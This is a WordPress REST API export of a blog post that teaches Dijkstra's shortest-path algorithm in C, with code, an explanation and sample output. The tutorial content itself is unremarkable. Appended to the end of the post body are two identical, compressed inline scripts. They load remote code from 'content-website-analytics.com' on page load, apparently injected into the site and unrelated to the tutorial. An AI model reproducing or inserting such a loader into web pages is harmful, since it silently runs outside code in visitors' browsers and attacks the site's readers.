{"id":749,"date":"2024-10-19T13:51:31","date_gmt":"2024-10-19T08:21:31","guid":{"rendered":"https:\/\/codexplained.in\/?p=749"},"modified":"2025-11-24T15:34:41","modified_gmt":"2025-11-24T10:04:41","slug":"find-shortest-path-using-dijkstras-algorithm","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=749","title":{"rendered":"Find Shortest Path using Dijkstra\u2019s Algorithm"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;limits.h&gt;\n\n#define V 9  \/\/ Number of vertices in the graph\n\n\/\/ Function to find the vertex with the minimum distance value\nint minDistance(int dist&#x5B;], int sptSet&#x5B;]) {\n    int min = INT_MAX, min_index;\n\n    for (int v = 0; v &lt; V; v++) {\n        if (sptSet&#x5B;v] == 0 &amp;&amp; dist&#x5B;v] &lt;= min) {\n            min = dist&#x5B;v];\n            min_index = v;\n        }\n    }\n    return min_index;\n}\n\n\/\/ Function to implement Dijkstra&#039;s algorithm\nvoid dijkstra(int graph&#x5B;V]&#x5B;V], int src) {\n    int dist&#x5B;V];  \/\/ Output array. dist&#x5B;i] holds the shortest distance from src to i\n    int sptSet&#x5B;V]; \/\/ Shortest Path Tree Set\n\n    \/\/ Initialize all distances as infinite and sptSet as false\n    for (int i = 0; i &lt; V; i++) {\n        dist&#x5B;i] = INT_MAX;\n        sptSet&#x5B;i] = 0;\n    }\n\n    \/\/ Distance from source to itself is always 0\n    dist&#x5B;src] = 0;\n\n    \/\/ Find the shortest path for all vertices\n    for (int count = 0; count &lt; V - 1; count++) {\n        \/\/ Pick the minimum distance vertex from the set of vertices not yet processed\n        int u = minDistance(dist, sptSet);\n        sptSet&#x5B;u] = 1; \/\/ Mark the picked vertex as processed\n\n        \/\/ Update dist value of the neighboring vertices of the picked vertex\n        for (int v = 0; v &lt; V; v++) {\n            \/\/ Update dist&#x5B;v] if and only if it is not in sptSet, there is an edge from u to v,\n            \/\/ and the total weight of path from src to v through u is smaller than the current value of dist&#x5B;v]\n            if (!sptSet&#x5B;v] &amp;&amp; graph&#x5B;u]&#x5B;v] &amp;&amp; dist&#x5B;u] != INT_MAX &amp;&amp; dist&#x5B;u] + graph&#x5B;u]&#x5B;v] &lt; dist&#x5B;v]) {\n                dist&#x5B;v] = dist&#x5B;u] + graph&#x5B;u]&#x5B;v];\n            }\n        }\n    }\n\n    \/\/ Print the constructed distance array\n    printf(&quot;Vertex \\t Distance from Source\\n&quot;);\n    for (int i = 0; i &lt; V; i++) {\n        printf(&quot;%d \\t %d\\n&quot;, i, dist&#x5B;i]);\n    }\n}\n\nint main() {\n    \/\/ Example graph represented as an adjacency matrix\n    int graph&#x5B;V]&#x5B;V] = {\n        {0, 4, 0, 0, 0, 0, 0, 8, 0},\n        {4, 0, 8, 0, 0, 0, 0, 11, 0},\n        {0, 8, 0, 7, 0, 4, 0, 0, 2},\n        {0, 0, 7, 0, 9, 14, 0, 0, 0},\n        {0, 0, 0, 9, 0, 10, 0, 0, 0},\n        {0, 0, 4, 14, 10, 0, 2, 0, 0},\n        {0, 0, 0, 0, 0, 2, 0, 1, 6},\n        {8, 11, 0, 0, 0, 0, 1, 0, 7},\n        {0, 0, 2, 0, 0, 0, 6, 7, 0}\n    };\n\n    dijkstra(graph, 0); \/\/ Starting from vertex 0\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation of the Code<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Constants and Variables<\/strong>:\n<ul class=\"wp-block-list\">\n<li>We define <code>V<\/code> as the number of vertices in the graph.<\/li>\n\n\n\n<li>The <code>minDistance<\/code> function finds the vertex with the minimum distance that hasn\u2019t been processed yet.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Dijkstra Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The <code>dijkstra<\/code> function initializes the <code>dist<\/code> array to store the shortest distances and the <code>sptSet<\/code> array to track processed vertices.<\/li>\n\n\n\n<li>The main loop runs until all vertices have been processed. Inside the loop:\n<ul class=\"wp-block-list\">\n<li>It selects the vertex with the smallest distance (not yet processed).<\/li>\n\n\n\n<li>Updates the distances of its adjacent vertices.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Graph Representation<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The graph is represented as an adjacency matrix, where <code>graph[i][j]<\/code> holds the weight of the edge from vertex <code>i<\/code> to vertex <code>j<\/code>. A value of <code>0<\/code> means no edge exists.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Output<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The program prints the shortest distance from the starting vertex (in this case, vertex 0) to all other vertices.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Running the Program<\/h3>\n\n\n\n<p>To run this program:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Copy the code into a C file, say <code>dijkstra.c<\/code>.<\/li>\n\n\n\n<li>Compile it using a C compiler. For example:<\/li>\n<\/ol>\n\n\n\n<pre class=\"wp-block-code\"><code>gcc dijkstra.c -o dijkstra<\/code><\/pre>\n\n\n\n<p>Execute the program:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/dijkstra\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Sample Output<\/h3>\n\n\n\n<p>When you run the program, you will see output similar to this:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Vertex   Distance from Source\n0       0\n1       4\n2       12\n3       19\n4       21\n5       11\n6       9\n7       8\n8       14\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Explanation of Output<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The output shows the shortest distance from the starting vertex (0) to each vertex in the graph.<\/li>\n\n\n\n<li>For instance, the shortest distance from vertex 0 to vertex 1 is 4, while the distance to vertex 2 is 12, and so on.<\/li>\n<\/ul>\n\n\n\n<p><\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation of the Code Running the Program To run this program: Execute the program: Sample Output When you run the program, you will see output similar to this: Explanation of Output<\/p>\n","protected":false},"author":40,"featured_media":864,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-749","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/749","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/40"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=749"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/749\/revisions"}],"predecessor-version":[{"id":1395,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/749\/revisions\/1395"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/864"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=749"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=749"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=749"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}